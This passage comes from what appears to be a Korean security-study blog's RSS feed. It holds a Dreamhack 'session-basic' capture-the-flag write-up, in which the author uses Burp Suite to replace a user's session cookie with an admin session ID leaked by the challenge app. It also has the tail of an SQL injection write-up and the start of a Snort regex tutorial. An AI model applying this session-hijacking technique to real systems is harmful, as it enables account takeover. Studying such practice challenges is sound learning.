this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1235&quot; height=&quot;715&quot; data-filename=&quot;9.png&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;715&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10.&amp;nbsp;admin&amp;nbsp;계정에&amp;nbsp;로그인하였으며,&amp;nbsp;플래그&amp;nbsp;값을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;10.png&quot; data-origin-width=&quot;1233&quot; data-origin-height=&quot;717&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5Pdnu/btsqaOGOOwn/3gNWYjg00KOD6w8rkPI9g1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5Pdnu/btsqaOGOOwn/3gNWYjg00KOD6w8rkPI9g1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5Pdnu/btsqaOGOOwn/3gNWYjg00KOD6w8rkPI9g1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5Pdnu%2FbtsqaOGOOwn%2F3gNWYjg00KOD6w8rkPI9g1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1233&quot; height=&quot;717&quot; data-filename=&quot;10.png&quot; data-origin-width=&quot;1233&quot; data-origin-height=&quot;717&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>공부/웹해킹문제</category>
      <category>simplesqli</category>
      <category>simple_sqli</category>
      <category>드림핵</category>
      <category>드림핵simplesqli</category>
      <category>드림핵simple_sqli</category>
      <category>심플sql</category>
      <category>웹해킹</category>
      <category>웹해킹문제</category>
      <category>해킹</category>
      <category>해킹문제</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/116</guid>
      <comments>https://geru.tistory.com/116#entry116comment</comments>
      <pubDate>Thu, 10 Aug 2023 09:00:08 +0900</pubDate>
    </item>
    <item>
      <title>[드림핵] session-basic 문제</title>
      <link>https://geru.tistory.com/115</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;1.&amp;nbsp;[HOME&amp;nbsp;&amp;gt;&amp;nbsp;Login]으로&amp;nbsp;접근하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;718&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qteUG/btsp7VfAWYa/XcrckHN0sNkiVCPRQdw9tk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qteUG/btsp7VfAWYa/XcrckHN0sNkiVCPRQdw9tk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qteUG/btsp7VfAWYa/XcrckHN0sNkiVCPRQdw9tk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqteUG%2Fbtsp7VfAWYa%2FXcrckHN0sNkiVCPRQdw9tk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1235&quot; height=&quot;718&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;718&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2.&amp;nbsp;로그인&amp;nbsp;폼을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;1233&quot; data-origin-height=&quot;718&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/rY1bu/btsp7p9bjBs/kBTnTOQfhTFczQmi6wmcQ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/rY1bu/btsp7p9bjBs/kBTnTOQfhTFczQmi6wmcQ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/rY1bu/btsp7p9bjBs/kBTnTOQfhTFczQmi6wmcQ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FrY1bu%2Fbtsp7p9bjBs%2FkBTnTOQfhTFczQmi6wmcQ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1233&quot; height=&quot;718&quot; data-filename=&quot;2.png&quot; data-origin-width=&quot;1233&quot; data-origin-height=&quot;718&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3.&amp;nbsp;문제&amp;nbsp;파일을&amp;nbsp;메모장에&amp;nbsp;열었으며,&amp;nbsp;계정&amp;nbsp;정보를&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;1234&quot; data-origin-height=&quot;721&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bD7OSv/btsp9rkOA22/pHoIfvogI3MF8DfaWiIkS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bD7OSv/btsp9rkOA22/pHoIfvogI3MF8DfaWiIkS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bD7OSv/btsp9rkOA22/pHoIfvogI3MF8DfaWiIkS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbD7OSv%2Fbtsp9rkOA22%2FpHoIfvogI3MF8DfaWiIkS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1234&quot; height=&quot;721&quot; data-filename=&quot;3.png&quot; data-origin-width=&quot;1234&quot; data-origin-height=&quot;721&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4.&amp;nbsp;user계정을&amp;nbsp;로그인&amp;nbsp;시도하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1234&quot; data-origin-height=&quot;716&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/din2SE/btsp7qtvriQ/0G3C3LLI8BKTCZEkCWln70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/din2SE/btsp7qtvriQ/0G3C3LLI8BKTCZEkCWln70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/din2SE/btsp7qtvriQ/0G3C3LLI8BKTCZEkCWln70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdin2SE%2Fbtsp7qtvriQ%2F0G3C3LLI8BKTCZEkCWln70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1234&quot; height=&quot;716&quot; data-filename=&quot;4.png&quot; data-origin-width=&quot;1234&quot; data-origin-height=&quot;716&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;5.&amp;nbsp;user계정이&amp;nbsp;로그인된&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;1233&quot; data-origin-height=&quot;715&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/495lN/btsqfAVMnIr/KSyqakSpAUiuKMLfOw4Be0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/495lN/btsqfAVMnIr/KSyqakSpAUiuKMLfOw4Be0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/495lN/btsqfAVMnIr/KSyqakSpAUiuKMLfOw4Be0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F495lN%2FbtsqfAVMnIr%2FKSyqakSpAUiuKMLfOw4Be0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1233&quot; height=&quot;715&quot; data-filename=&quot;5.png&quot; data-origin-width=&quot;1233&quot; data-origin-height=&quot;715&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;6.&amp;nbsp;user계정이&amp;nbsp;로그인되었을&amp;nbsp;시&amp;nbsp;쿠키&amp;nbsp;내에&amp;nbsp;세션아이디가&amp;nbsp;존재하는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&amp;nbsp;(버프슈트&amp;nbsp;툴&amp;nbsp;사용)&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;1229&quot; data-origin-height=&quot;719&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EFOi3/btsp9rkOBoR/uI5oaiFEz46y8cXAfrhR6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EFOi3/btsp9rkOBoR/uI5oaiFEz46y8cXAfrhR6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EFOi3/btsp9rkOBoR/uI5oaiFEz46y8cXAfrhR6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEFOi3%2Fbtsp9rkOBoR%2FuI5oaiFEz46y8cXAfrhR6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1229&quot; height=&quot;719&quot; data-filename=&quot;6.png&quot; data-origin-width=&quot;1229&quot; data-origin-height=&quot;719&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;7.&amp;nbsp;문제&amp;nbsp;파일&amp;nbsp;코드&amp;nbsp;내에&amp;nbsp;Login등의&amp;nbsp;페이지&amp;nbsp;외에&amp;nbsp;admin페이지가&amp;nbsp;존재한다는&amp;nbsp;것을&amp;nbsp;확인하였으며,&amp;nbsp;페이지에서&amp;nbsp;session_storage가&amp;nbsp;리턴되는&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;719&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHv12K/btsp90N6t8K/6co0DauLFRKTCVV5rnUTzK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHv12K/btsp90N6t8K/6co0DauLFRKTCVV5rnUTzK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHv12K/btsp90N6t8K/6co0DauLFRKTCVV5rnUTzK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHv12K%2Fbtsp90N6t8K%2F6co0DauLFRKTCVV5rnUTzK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1236&quot; height=&quot;719&quot; data-filename=&quot;7.png&quot; data-origin-width=&quot;1236&quot; data-origin-height=&quot;719&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;8.&amp;nbsp;admin페이지에&amp;nbsp;접근&amp;nbsp;시&amp;nbsp;admin계정의&amp;nbsp;세션아이디를&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;1233&quot; data-origin-height=&quot;717&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6gxle/btsqj4bdj2r/UBBASbLoXMxQKVgoMOfnN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6gxle/btsqj4bdj2r/UBBASbLoXMxQKVgoMOfnN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6gxle/btsqj4bdj2r/UBBASbLoXMxQKVgoMOfnN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6gxle%2Fbtsqj4bdj2r%2FUBBASbLoXMxQKVgoMOfnN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1233&quot; height=&quot;717&quot; data-filename=&quot;8.png&quot; data-origin-width=&quot;1233&quot; data-origin-height=&quot;717&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9.&amp;nbsp;버프슈트&amp;nbsp;툴을&amp;nbsp;이용해서&amp;nbsp;user계정의&amp;nbsp;세션아이디를&amp;nbsp;admin계정의&amp;nbsp;세션아이디로&amp;nbsp;변조하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;9.png&quot; data-origin-width=&quot;1231&quot; data-origin-height=&quot;718&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dtXzI8/btsp9rkOBHH/nTLd4kTP6yurkHfoGV18u0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dtXzI8/btsp9rkOBHH/nTLd4kTP6yurkHfoGV18u0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dtXzI8/btsp9rkOBHH/nTLd4kTP6yurkHfoGV18u0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdtXzI8%2Fbtsp9rkOBHH%2FnTLd4kTP6yurkHfoGV18u0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1231&quot; height=&quot;718&quot; data-filename=&quot;9.png&quot; data-origin-width=&quot;1231&quot; data-origin-height=&quot;718&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;10.&amp;nbsp;admin계정으로&amp;nbsp;접속하였으며,&amp;nbsp;플래그&amp;nbsp;값이&amp;nbsp;출력된&amp;nbsp;것을&amp;nbsp;확인하였습니다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;10.png&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;715&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bR4ZDX/btsp8YwculX/3KKxa0BKTo8Sznfa1zmAk1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bR4ZDX/btsp8YwculX/3KKxa0BKTo8Sznfa1zmAk1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bR4ZDX/btsp8YwculX/3KKxa0BKTo8Sznfa1zmAk1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbR4ZDX%2Fbtsp8YwculX%2F3KKxa0BKTo8Sznfa1zmAk1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1235&quot; height=&quot;715&quot; data-filename=&quot;10.png&quot; data-origin-width=&quot;1235&quot; data-origin-height=&quot;715&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>공부/웹해킹문제</category>
      <category>session-basic</category>
      <category>드림핵</category>
      <category>드림핵session-basic</category>
      <category>드림핵세션베이직</category>
      <category>세션베이직</category>
      <category>웹해킹</category>
      <category>웹해킹문제</category>
      <category>해킹</category>
      <category>해킹문제</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/115</guid>
      <comments>https://geru.tistory.com/115#entry115comment</comments>
      <pubDate>Wed, 9 Aug 2023 09:00:08 +0900</pubDate>
    </item>
    <item>
      <title>[Snort]정규 표현식 작성</title>
      <link>https://geru.tistory.com/113</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스노트1.PNG&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;966&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdpVy9/btrqoaYV3oJ/nZsYWSfBEXcdjVVdWLTv6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdpVy9/btrqoaYV3oJ/nZsYWSfBEXcdjVVdWLTv6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdpVy9/btrqoaYV3oJ/nZsYWSfBEXcdjVVdWLTv6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcdpVy9%2FbtrqoaYV3oJ%2FnZsYWSfBEXcdjVVdWLTv6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1916&quot; height=&quot;966&quot; data-filename=&quot;스노트1.PNG&quot; data-origin-width=&quot;1916&quot; data-origin-height=&quot;966&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;오늘은 &lt;a href=&quot;https://regexr.com/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://regexr.com/&lt;/a&gt; 사이트를 이용해서 정규 표현식을 작성한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규 표현식은 특정한 규칙을 가진 문자열의 집합을 표현하는 형식적 언어이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스노트2.PNG&quot; data-origin-width=&quot;1475&quot; data-origin-height=&quot;280&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tn2lY/btrqsFxpMTk/BF0a3nc4vR2xEL94VE31ik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tn2lY/btrqsFxpMTk/BF0a3nc4vR2xEL94VE31ik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tn2lY/btrqsFxpMTk/BF0a3nc4vR2xEL94VE31ik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ftn2lY%2FbtrqsFxpMTk%2FBF0a3nc4vR2xEL94VE31ik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1475&quot; height=&quot;280&quot; data-filename=&quot;스노트2.PNG&quot; data-origin-width=&quot;1475&quot; data-origin-height=&quot;280&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 위와 같이 PCRE로 바꿔주고 Flags에 들어가서 multiline를 눌러준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스노트3.PNG&quot; data-origin-width=&quot;1482&quot; data-origin-height=&quot;407&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/esw1Ol/btrqtVfAxBV/3vhjYAk0jo9NMDDHkooSkk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/esw1Ol/btrqtVfAxBV/3vhjYAk0jo9NMDDHkooSkk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/esw1Ol/btrqtVfAxBV/3vhjYAk0jo9NMDDHkooSkk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fesw1Ol%2FbtrqtVfAxBV%2F3vhjYAk0jo9NMDDHkooSkk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1482&quot; height=&quot;407&quot; data-filename=&quot;스노트3.PNG&quot; data-origin-width=&quot;1482&quot; data-origin-height=&quot;407&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그리고 적혀있는 모든 글을 지우고 위와같이 예제를 만들어준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스노트4.PNG&quot; data-origin-width=&quot;226&quot; data-origin-height=&quot;409&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PL4zZ/btrqvzizSsp/CcZuqX4nT9sBsJmyiJ4WXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PL4zZ/btrqvzizSsp/CcZuqX4nT9sBsJmyiJ4WXK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PL4zZ/btrqvzizSsp/CcZuqX4nT9sBsJmyiJ4WXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPL4zZ%2FbtrqvzizSsp%2FCcZuqX4nT9sBsJmyiJ4WXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;226&quot; height=&quot;409&quot; data-filename=&quot;스노트4.PNG&quot; data-origin-width=&quot;226&quot; data-origin-height=&quot;409&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;abc를 입력해보면 위와같이 abc에 해당되는 문자들이 매칭된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스노트5.PNG&quot; data-origin-width=&quot;226&quot; data-origin-height=&quot;409&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bATiGd/btrqnjV62ky/jAb2eVVGRrAtd89JjUWaYK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bATiGd/btrqnjV62ky/jAb2eVVGRrAtd89JjUWaYK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bATiGd/btrqnjV62ky/jAb2eVVGRrAtd89JjUWaYK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbATiGd%2FbtrqnjV62ky%2FjAb2eVVGRrAtd89JjUWaYK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;226&quot; height=&quot;409&quot; data-filename=&quot;스노트5.PNG&quot; data-origin-width=&quot;226&quot; data-origin-height=&quot;409&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;abc앞에 ^를 입력하면 위와같이 abc로 시작하는 문자열이 매칭되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
